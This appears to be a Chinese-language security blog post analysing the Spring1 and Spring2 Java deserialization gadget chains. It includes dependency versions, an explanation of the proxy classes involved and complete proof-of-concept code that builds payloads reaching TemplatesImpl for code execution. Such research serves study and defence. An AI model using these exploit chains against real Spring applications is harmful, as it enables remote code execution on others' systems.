Spring1反序列化
环境
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.4.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
MethodInvokeTypeProvider
在 Spring 核心包中存在这样一个内部类:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
,这个类实现了 TypeProvider 接口,是一个可以被反序列化的类。
readObject代码如下,调用了ReflectionUtils.findMethod获取Method对象,调用invokeMethod执行方法。无参调用,如果可以调用到TemplatesImpl.newTransformer即可完成反序列化链了。
1 2 3 4 5
| private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }
|
假如我们的 this.provider.getType() 和 methodName 可控,这里就可以将 getType 写成是templateImpl的类,methodName要是能处理为 newTransformer 的话,这里就可以执行任意代码了。
ObjectFactoryDelegatingInvocationHandler
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
是 InvocationHandler 的实现类,实例化时接收一个 ObjectFactory 对象,并在 invoke 代理时调用 ObjectFactory 的 getObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用。

当我触发代理的方法不为 equals、hashCode、toString时,就能对getObject返回的对象触发代理方法。
ObjectFactory 的 getObject 方法返回的对象是泛型的,那就可以可用 AnnotationInvocationHandler 来代理,返回任意对象。
而 ObjectFactoryDelegatingInvocationHandler 自己本身就是代理类,可以用它代理之前的 TypeProvider 的 getType 方法。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap;
public class Spring1 {
public static String fileName = "Spring1.bin";
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = Reflections.generateTemplatesImpl();
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>(); map.put("getObject", tmpl);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, ofdHandler);
HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer");
SerializerUtil.objectFileSerialize(objects,fileName); SerializerUtil.objectFileDeserialize(fileName);
} }
|
Spring2反序列化 – Java版本有限制
Spring2 在 Spring1 的触发链上有所变换,替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
前置知识
JdkDynamicAopProxy
org.springframework.aop.framework.JdkDynamicAopProxy
类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。
我们来看一下 invoke 方法,获取 AdvisedSupport 里的 TargetSource,并调用 getTarget()
方法返回其中的对象。

调用 AopUtils#invokeJoinpointUsingReflection()
方法反射调用对象的 method 方法并返回。

方法里就是简单的反射调用。

由此我们可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类可以出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链。
攻击构造
与 Spring1 类似,直接上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| public class Spring2 {
public static String fileName = "Spring2.bin";
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
AdvisedSupport as = new AdvisedSupport(); as.setTarget(tmpl);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0]; aopConstructor.setAccessible(true); InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopProxy);
HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer");
SerializeUtil.writeObjectToFile(objects, fileName); SerializeUtil.readFileObject(fileName); }
}
|
总结
以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下。
- 利用说明:
- 使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链。
- Gadget 总结:
- kick-off gadget:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
- chain gadget:
org.springframework.aop.framework.JdkDynamicAopProxy#invoke()
- 调用链展示:
1 2 3 4 5 6 7 8
| SerializableTypeWrapper$MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() ReflectionUtils.invokeMethod() Templates(Proxy).newTransformer() JdkDynamicAopProxy.invoke() AopUtils.invokeJoinpointUsingReflection() TemplatesImpl.newTransformer()
|
- 依赖版本
spring-core : 4.1.4.RELEASE
spring-aop : 4.1.4.RELEASE
jdk 1.7(或低版本下的jdk1.8) 主要原因还是 AnnotationInvocationHandler 的问题,版本高了用不了